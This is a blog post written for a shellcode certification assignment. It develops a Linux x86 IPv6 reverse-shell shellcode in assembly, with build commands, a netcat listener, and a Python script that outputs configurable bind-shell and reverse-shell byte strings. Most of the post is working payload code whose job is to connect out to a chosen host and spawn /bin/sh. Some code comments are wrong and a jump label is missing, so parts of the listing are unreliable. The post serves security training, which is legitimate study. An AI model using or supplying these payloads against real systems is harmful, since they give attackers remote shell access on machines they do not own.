Kartik Durg

Kartik Durg

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This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification

  • Student ID: SLAE-1233
  • Assignment: 2
  • Github: Kartik Durg

The objective of this assignment is to create a Shell_Reverse_TCP in Linux/x86 Assembly for which, IP and port number should be easily configurable.

Lets jump into our connect-back shellcode for IPv6 socket in C and develop the same using assembly language by obeying all the basic rules from my previous post.

Shell_Reverse_TCP for IPV6 socket in C:

Shell_Reverse_TCP for IPV6

A quick breakdown of above code in C:

  • Create a socket
  • Connect to the port listening on the server/target IP.
  • Redirect STDIN,STDOUT and STDERR to newly created socket.
  • Spawn the shell.

The socket creation,making syscall,etc., is pretty much same as of Bind_TCP_Shell in my previous post, but the structure of the socket should contain information of the IP and port to connect-back. This can be achieved by making use of SYS_CONNECT method in our shellcode:

  • EAX register should contain socket call number 0x66.
  • EBX register should contain 0x3 ( Refer: /usr/include/linux/net.h )
  • ECX should contain pointer to the arguments.

Complete Shell_Reverse_TCP_IPV6 shellcode :

global _start
section .text


;IPV6 socket creation 
;int socketcall(int call, unsigned long *args);
;sockfd = socket(int socket_family, int socket_type, int protocol);
push byte 0x66        ;socketcall()
pop eax               ;EAX=0x2

xor ebx,ebx           ;zero out ebx

push 0x6              ; IPPROTO_TCP=6
push 0x1              ; socket_type=SOCK_STREAM (0x1)
push 0xa              ; AF_INET6
inc ebx               ; Define SYS_socket = 1
mov ecx,esp           ; save pointer (ESP) to socket() args (ECX)
int 0x80
xchg esi,eax          ; sockfd stored in esi
xor eax,eax

;connect(sockfd, (struct sockaddr*)&srvaddr, sizeof(srvaddr)); 
;int socketcall(int call, unsigned long *args);
push DWORD eax        ;sin6_scope_id
push DWORD 0x0501a8c0 ;MY LOCAL IP = | Can be configured to YOUR's
push word 0xffff
push DWORD eax
push DWORD eax
push WORD ax          ;inet_pton(AF_INET6, "::ffff:", &srvaddr.sin6_addr)
push DWORD eax        ;sin6_flowinfo
push WORD 0x5c11      ;PORT=4444 | 0x5c11 | Can be configured to YOUR's
push WORD 0x0a        ;AF_INET6
mov ecx,esp           ;ECX holds pointer to struct sockaddr_in6
push byte 0x1c        ;sizeof(sockaddr_in6) | sockaddr_in6 = 28
push ecx              ;pointer to sockfd
push esi              ;sockfd
mov ecx,esp           ;ECX points to args
inc ebx
inc ebx               ;EBX = 0x3 | #define SYS_Connect 3
push byte 0x66        ;socketcall()
pop eax
int 80h

push byte 0x2         ;push 0x2 on stack
pop ecx               ;ECX = 2

;dup2() to redirect stdin(0), stdout(1) and stderr(2)
push byte 0x3f        ;dup2()
pop eax               ;EAX = 0x3f
int 0x80              ;exec sys_dup2
dec ecx               ;decrement counter
jns loop              ;if SF not set ==> keep on jumping

xor ecx,ecx           ;clear ECX
push ecx              ;Push NULL
push byte 0x0b        ;execve() sys call number
pop eax               ;EAX=0x2 | execve()
push 0x68732f2f       ;(1)/bin//sh
push 0x6e69622f       ;(2)/bin//sh
mov ebx,esp           ;EBX pointing to “/bin//sh”
int 0x80              ;Calling Interrupt for sys call

The socket structure should match the following :

struct sockaddr_in6 {
  sa_family_t     sin6_family;
  in_port_t       sin6_port;
  uint32_t        sin6_flowinfo;
  struct in6_addr sin6_addr;
  uint32_t        sin6_scope_id;

{sa_family=AF_INET6, sin6_port=htons(4444), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}

First, we have to set-up the structure of inet_pton and then embed into our complete socket structure as above. We do it by first setting up sin6_addr to “0” using PUSH DWORD eax and then similarly setting up ::ffff: (Configurable), port 4444 as below:

  • push DWORD 0x0501a8c0
  • push WORD 0xffff
  • push WORD 0x5c11 [port=4444] (Configurable)


==> nasm -f elf32 -o shell_reverse_tcp_ipv6.o shell_reverse_tcp_ipv6.asm
==> ld -o shell_reverse_tcp_ipv6 shell_reverse_tcp_ipv6.o
==> ./shell_reverse_tcp_ipv6

//Listener on IPv6 socket
==> nc -6 -l -v -p 4444

Shell_Reverse_TCP for IPV6


objdump -d shell_reverse_tcp_ipv6.o|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'




unsigned char shellcode[] = \

	printf("Shellcode Length:  %d\n", sizeof(shellcode) - 1);
	int (*ret)() = (int(*)())shellcode;


gcc shell_reverse_tcp_ipv6_final.c -o shell_reverse_tcp_ipv6_final -fno-stack-protector -z execstack -m32


Shell_Reverse_TCP for IPV6


Developed a small python script to configure our shellcode:

import socket
import struct
import string

def convert_ip(ip):
	ip1 = ''.join([hex(int(x)+256)[3:] for x in ip.split('.')])
	endian = int(ip1,16)
	print "\nHEX: "+"0x"+ip1
	ip2 = "\\x"+ip1[:2]+"\\x"+ip1[2:4]+"\\x"+ip1[4:6]+"\\x"+ip1[6:8]
	print ip+" has been converted to little-endian"+ip2
	return ip2
def convert_port(port):
	port1 = hex(port)
	port2 = str("\\x"+port1[2:4]+"\\x"+port1[4:6])
	print "PORT "+str(port)+" has been converted to "+"\\x"+port1[2:4]+"\\x"+port1[4:6]+"\n\n"
	return port2

if __name__ == '__main__':
	ip = raw_input("Enter the IP to connect-back: ")
	port = raw_input("Enter the PORT: ")
	ip3 = convert_ip(str(ip))
	port3 = convert_port(int(port))
	print "Choose your shellcode \n\n"
	bind_shell = ("\\x6a\\x66\\x58\\x31\\xdb\\x6a\\x06\\x6a\\x01\\x6a\\x0a\\x43\\x89\\xe1\\xcd\\x80\\x96\\x31\\xc0\\x50\\x50\\x50\\x50\\x50\\x66\\x68"+port3+"\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x53\\x56\\x89\\xe1\\x43\\x43\\x6a\\x66\\x58\\xcd\\x80\\x99\\x52\\x52\\x56\\x89\\xe1\\x43\\x6a\\x66\\x58\\xcd\\x80\\x93\\x6a\\x02\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x31\\xc9\\x51\\x6a\\x0b\\x58\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80")
	print "Your Bind shell for IPv6 socket has been configured successfully: "+bind_shell+" \n\n"
	reverse_shell = ("\\x6a\\x66\\x58\\x31\\xdb\\x6a\\x06\\x6a\\x01\\x6a\\x0a\\x43\\x89\\xe1\\xcd\\x80\\x96\\x31\\xc0\\x50\\x68"+ip3+"\\x66\\x6a\\xff\\x50\\x50\\x66\\x50\\x50\\x66\\x68"+port3+"\\x66\\x6a\\x0a\\x89\\xe1\\x6a\\x1c\\x51\\x56\\x89\\xe1\\x43\\x43\\x6a\\x66\\x58\\xcd\\x80\\x6a\\x02\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49\\x79\\xf8\\x31\\xc9\\x51\\x6a\\x0b\\x58\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80")
	print "Your Reverse shell for IPv6 socket has been configured successfully: "+reverse_shell+" \n\n"


Enter the IP to connect-back:
Enter the PORT: 4444

HEX: 0xc0a80105 has been converted to little-endian \x05\x01\xa8\xc0
PORT 4444 has been converted to \x11\x5c

Choose your shellcode

Your Bind shell for IPv6 socket has been configured successfully: \x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x50\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x53\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x99\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

Your Reverse shell for IPv6 socket has been configured successfully: \x6a\x66\x58\x31\xdb\x6a\x06\x6a\x01\x6a\x0a\x43\x89\xe1\xcd\x80\x96\x31\xc0\x50\x68\xc0\xa8\x01\x05\x66\x6a\xff\x50\x50\x66\x50\x50\x66\x68\x11\x5c\x66\x6a\x0a\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x43\x6a\x66\x58\xcd\x80\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80

Objectives achieved:

  • Shellcode is null free.
  • Only 86 bytes in size.
  • IP and port can be easily configured.
  • Register independent

Exploit-DB: https://www.exploit-db.com/exploits/45139

Link to C-code: shell_reverse_tcp_ipv6.c

Link to Shellcode.ASM: shell_reverse_tcp_ipv6.asm

Link to Shellcode.c: shell_reverse_tcp_ipv6_final.c

Link for my python script BIND_REVERSE_IPv6_SHELL: BIND_REVERSE_IPv6_SHELL.py

Thank you for reading 🙂

– Kartik Durg